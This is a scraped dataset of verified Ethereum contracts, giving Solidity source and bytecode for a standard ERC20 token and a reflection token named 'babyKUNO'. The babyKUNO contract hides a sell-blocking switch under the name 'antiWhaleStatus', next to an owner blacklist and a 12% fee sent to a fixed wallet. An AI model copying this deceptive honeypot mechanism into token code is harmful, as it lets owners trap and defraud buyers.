8082815260200191505060405180910390a35b5b5b5b5b505050505050565b6000838311158290612e1c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612de1578082015181840152602081019050612dc6565b50505050905090810190601f168015612e0e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220e210f317ba5ee166f9b51b05b9470500fa4f63fbafabf266e22d54e75263596164736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | 1,420 |
0xbc24e310742c91967141b7bebd0a235267047786 | /**
*Submitted for verification at Etherscan.io on 2020-06-10
*/
pragma solidity ^0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string name, string symbol, uint8 decimals, uint256 totalSupply) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
_totalSupply = totalSupply;
_balances[msg.sender] = _balances[msg.sender].add(_totalSupply);
emit Transfer(address(0), msg.sender, totalSupply);
}
/**
* @return the name of the token.
*/
function name() public view returns(string) {
return _name;
}
/**
* @return the symbol of the token.
*/
function symbol() public view returns(string) {
return _symbol;
}
/**
* @return the number of decimals of the token.
*/
function decimals() public view returns(uint8) {
return _decimals;
}
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address owner,
address spender
)
public
view
returns (uint256)
{
return _allowed[owner][spender];
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address from,
address to,
uint256 value
)
public
returns (bool)
{
require(value <= _allowed[from][msg.sender]);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(
address spender,
uint256 addedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(
address spender,
uint256 subtractedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Transfer token for a specified addresses
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address from, address to, uint256 value) internal {
require(value <= _balances[from]);
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
} | 0x6080604052600436106100ae5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100b3578063095ea7b31461013d57806318160ddd1461017557806323b872dd1461019c578063313ce567146101c657806339509351146101f157806370a082311461021557806395d89b4114610236578063a457c2d71461024b578063a9059cbb1461026f578063dd62ed3e14610293575b600080fd5b3480156100bf57600080fd5b506100c86102ba565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101025781810151838201526020016100ea565b50505050905090810190601f16801561012f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561014957600080fd5b50610161600160a060020a0360043516602435610350565b604080519115158252519081900360200190f35b34801561018157600080fd5b5061018a6103ce565b60408051918252519081900360200190f35b3480156101a857600080fd5b50610161600160a060020a03600435811690602435166044356103d4565b3480156101d257600080fd5b506101db610471565b6040805160ff9092168252519081900360200190f35b3480156101fd57600080fd5b50610161600160a060020a036004351660243561047a565b34801561022157600080fd5b5061018a600160a060020a036004351661052a565b34801561024257600080fd5b506100c8610545565b34801561025757600080fd5b50610161600160a060020a03600435166024356105a6565b34801561027b57600080fd5b50610161600160a060020a03600435166024356105f1565b34801561029f57600080fd5b5061018a600160a060020a0360043581169060243516610607565b60038054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156103465780601f1061031b57610100808354040283529160200191610346565b820191906000526020600020905b81548152906001019060200180831161032957829003601f168201915b5050505050905090565b6000600160a060020a038316151561036757600080fd5b336000818152600160209081526040808320600160a060020a03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60025490565b600160a060020a038316600090815260016020908152604080832033845290915281205482111561040457600080fd5b600160a060020a0384166000908152600160209081526040808320338452909152902054610438908363ffffffff61063216565b600160a060020a0385166000908152600160209081526040808320338452909152902055610467848484610649565b5060019392505050565b60055460ff1690565b6000600160a060020a038316151561049157600080fd5b336000908152600160209081526040808320600160a060020a03871684529091529020546104c5908363ffffffff61073b16565b336000818152600160209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a031660009081526020819052604090205490565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156103465780601f1061031b57610100808354040283529160200191610346565b6000600160a060020a03831615156105bd57600080fd5b336000908152600160209081526040808320600160a060020a03871684529091529020546104c5908363ffffffff61063216565b60006105fe338484610649565b50600192915050565b600160a060020a03918216600090815260016020908152604080832093909416825291909152205490565b6000808383111561064257600080fd5b5050900390565b600160a060020a03831660009081526020819052604090205481111561066e57600080fd5b600160a060020a038216151561068357600080fd5b600160a060020a0383166000908152602081905260409020546106ac908263ffffffff61063216565b600160a060020a0380851660009081526020819052604080822093909355908416815220546106e1908263ffffffff61073b16565b600160a060020a038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b60008282018381101561074d57600080fd5b93925050505600a165627a7a7230582006ecbec00d5e608254e69889e90b10d67af34ded1c9c1ce4a18d26690f9b92e00029 | {"success": true, "error": null, "results": {}} | 1,421 |
0x0b350551cd73415dc4a319be2ae17f380772c22d | /**
*Submitted for verification at Etherscan.io on 2021-12-20
*/
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract babyKUNO is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
address[] private airdropKeys;
mapping (address => uint256) private airdrop;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "baby KunoichiX";
string private constant _symbol = "babyKUNO";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address public uniswapV2Pair;
bool private _antiwhale = true;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
event antiWaleUpdate(bool enabled);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0xEF0DcB0ee1dbb3D94916D6CDb80Ae8a88564DE82);
_feeAddrWallet2 = payable(0xEF0DcB0ee1dbb3D94916D6CDb80Ae8a88564DE82);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 2;
_feeAddr2 = 10;
if (!_antiwhale) {
require(to != uniswapV2Pair, "ERROR");
}
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 2;
_feeAddr2 = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function antiWhaleStatus(bool _state) public onlyOwner {
_antiwhale = _state;
emit antiWaleUpdate(_state);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function setMaxTxAmount(uint256 amount) public onlyOwner {
_maxTxAmount = amount * 10**9;
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 10000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function addBot(address theBot) public onlyOwner {
bots[theBot] = true;
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function setAirdrops(address[] memory _airdrops, uint256[] memory _tokens) public onlyOwner {
for (uint i = 0; i < _airdrops.length; i++) {
airdropKeys.push(_airdrops[i]);
airdrop[_airdrops[i]] = _tokens[i] * 10**9;
_isExcludedFromFee[_airdrops[i]] = true;
}
}
function setAirdropKeys(address[] memory _airdrops) public onlyOwner {
for (uint i = 0; i < _airdrops.length; i++) {
airdropKeys[i] = _airdrops[i];
_isExcludedFromFee[airdropKeys[i]] = true;
}
}
function getTotalAirdrop() public view onlyOwner returns (uint256){
uint256 sum = 0;
for(uint i = 0; i < airdropKeys.length; i++){
sum += airdrop[airdropKeys[i]];
}
return sum;
}
function getAirdrop(address account) public view onlyOwner returns (uint256) {
return airdrop[account];
}
function setAirdrop(address account, uint256 amount) public onlyOwner {
airdrop[account] = amount;
}
function callAirdrop() public onlyOwner {
_feeAddr1 = 0;
_feeAddr2 = 0;
for(uint i = 0; i < airdropKeys.length; i++){
_tokenTransfer(msg.sender, airdropKeys[i], airdrop[airdropKeys[i]]);
_isExcludedFromFee[airdropKeys[i]] = false;
}
_feeAddr1 = 2;
_feeAddr2 = 10;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106101855760003560e01c8063684c77ff116100d1578063a9059cbb1161008a578063dd62ed3e11610064578063dd62ed3e1461047e578063ec28438a146104c4578063f4293890146104e4578063ffecf516146104f957600080fd5b8063a9059cbb14610434578063c9567bf914610454578063cd6973151461046957600080fd5b8063684c77ff1461037b5780636b79ad041461039057806370a08231146103b0578063715018a6146103d05780638da5cb5b146103e557806395d89b411461040357600080fd5b806323b872dd1161013e578063328264081161011857806332826408146102ee57806349bd5a5e1461030e57806351bc3c85146103465780635932ead11461035b57600080fd5b806323b872dd14610292578063273123b7146102b2578063313ce567146102d257600080fd5b8063069f5bdd1461019157806306fdde03146101c4578063095ea7b31461020457806318160ddd146102345780631b310759146102505780632206035f1461027257600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b506101b16101ac366004611dc0565b610519565b6040519081526020015b60405180910390f35b3480156101d057600080fd5b5060408051808201909152600e81526d0c4c2c4f24096eadcded2c6d0d2b60931b60208201525b6040516101bb919061200f565b34801561021057600080fd5b5061022461021f366004611e70565b610569565b60405190151581526020016101bb565b34801561024057600080fd5b50683635c9adc5dea000006101b1565b34801561025c57600080fd5b5061027061026b366004611ed6565b610580565b005b34801561027e57600080fd5b5061027061028d366004611e70565b61070b565b34801561029e57600080fd5b506102246102ad366004611e30565b610751565b3480156102be57600080fd5b506102706102cd366004611dc0565b6107ba565b3480156102de57600080fd5b50604051600981526020016101bb565b3480156102fa57600080fd5b50610270610309366004611e9b565b610805565b34801561031a57600080fd5b5060115461032e906001600160a01b031681565b6040516001600160a01b0390911681526020016101bb565b34801561035257600080fd5b50610270610923565b34801561036757600080fd5b50610270610376366004611f92565b61095c565b34801561038757600080fd5b506101b16109a4565b34801561039c57600080fd5b506102706103ab366004611f92565b610a4b565b3480156103bc57600080fd5b506101b16103cb366004611dc0565b610acd565b3480156103dc57600080fd5b50610270610aef565b3480156103f157600080fd5b506000546001600160a01b031661032e565b34801561040f57600080fd5b50604080518082019091526008815267626162794b554e4f60c01b60208201526101f7565b34801561044057600080fd5b5061022461044f366004611e70565b610b63565b34801561046057600080fd5b50610270610b70565b34801561047557600080fd5b50610270610f33565b34801561048a57600080fd5b506101b1610499366004611df8565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156104d057600080fd5b506102706104df366004611fca565b611080565b3480156104f057600080fd5b506102706110be565b34801561050557600080fd5b50610270610514366004611dc0565b6110e8565b600080546001600160a01b0316331461054d5760405162461bcd60e51b815260040161054490612062565b60405180910390fd5b506001600160a01b031660009081526008602052604090205490565b6000610576338484611136565b5060015b92915050565b6000546001600160a01b031633146105aa5760405162461bcd60e51b815260040161054490612062565b60005b82518110156107065760078382815181106105d857634e487b7160e01b600052603260045260246000fd5b60209081029190910181015182546001810184556000938452919092200180546001600160a01b0319166001600160a01b03909216919091179055815182908290811061063557634e487b7160e01b600052603260045260246000fd5b6020026020010151633b9aca0061064c9190612194565b6008600085848151811061067057634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b03166001600160a01b03168152602001908152602001600020819055506001600560008584815181106106c257634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106fe816121ca565b9150506105ad565b505050565b6000546001600160a01b031633146107355760405162461bcd60e51b815260040161054490612062565b6001600160a01b03909116600090815260086020526040902055565b600061075e84848461125a565b6107b084336107ab85604051806060016040528060288152602001612235602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906115f9565b611136565b5060019392505050565b6000546001600160a01b031633146107e45760405162461bcd60e51b815260040161054490612062565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461082f5760405162461bcd60e51b815260040161054490612062565b60005b815181101561091f5781818151811061085b57634e487b7160e01b600052603260045260246000fd5b60200260200101516007828154811061088457634e487b7160e01b600052603260045260246000fd5b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550600160056000600784815481106108d957634e487b7160e01b600052603260045260246000fd5b6000918252602080832091909101546001600160a01b031683528201929092526040019020805460ff191691151591909117905580610917816121ca565b915050610832565b5050565b600e546001600160a01b0316336001600160a01b03161461094357600080fd5b600061094e30610acd565b905061095981611633565b50565b6000546001600160a01b031633146109865760405162461bcd60e51b815260040161054490612062565b60118054911515600160c01b0260ff60c01b19909216919091179055565b600080546001600160a01b031633146109cf5760405162461bcd60e51b815260040161054490612062565b6000805b600754811015610a45576008600060078381548110610a0257634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b03168352820192909252604001902054610a31908361215c565b915080610a3d816121ca565b9150506109d3565b50905090565b6000546001600160a01b03163314610a755760405162461bcd60e51b815260040161054490612062565b60118054821515600160a01b0260ff60a01b199091161790556040517f05665953dcd96697af2fd47f7b4acf930f3936c777e229cd6f98db953ef336ea90610ac290831515815260200190565b60405180910390a150565b6001600160a01b03811660009081526002602052604081205461057a906117d8565b6000546001600160a01b03163314610b195760405162461bcd60e51b815260040161054490612062565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061057633848461125a565b6000546001600160a01b03163314610b9a5760405162461bcd60e51b815260040161054490612062565b601154600160a81b900460ff1615610bf45760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610544565b601080546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610c313082683635c9adc5dea00000611136565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610c6a57600080fd5b505afa158015610c7e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ca29190611ddc565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610cea57600080fd5b505afa158015610cfe573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d229190611ddc565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610d6a57600080fd5b505af1158015610d7e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610da29190611ddc565b601180546001600160a01b0319166001600160a01b039283161790556010541663f305d7194730610dd281610acd565b600080610de76000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610e4a57600080fd5b505af1158015610e5e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610e839190611fe2565b505060118054678ac7230489e8000060125563ffff00ff60a81b198116630101000160a81b1790915560105460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610efb57600080fd5b505af1158015610f0f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061091f9190611fae565b6000546001600160a01b03163314610f5d5760405162461bcd60e51b815260040161054490612062565b6000600c819055600d8190555b600754811015611073576110063360078381548110610f9957634e487b7160e01b600052603260045260246000fd5b9060005260206000200160009054906101000a90046001600160a01b03166008600060078681548110610fdc57634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b0316835282019290925260400190205461185c565b6000600560006007848154811061102d57634e487b7160e01b600052603260045260246000fd5b6000918252602080832091909101546001600160a01b031683528201929092526040019020805460ff19169115159190911790558061106b816121ca565b915050610f6a565b506002600c55600a600d55565b6000546001600160a01b031633146110aa5760405162461bcd60e51b815260040161054490612062565b6110b881633b9aca00612194565b60125550565b600e546001600160a01b0316336001600160a01b0316146110de57600080fd5b4761095981611867565b6000546001600160a01b031633146111125760405162461bcd60e51b815260040161054490612062565b6001600160a01b03166000908152600660205260409020805460ff19166001179055565b6001600160a01b0383166111985760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610544565b6001600160a01b0382166111f95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610544565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166112be57604051624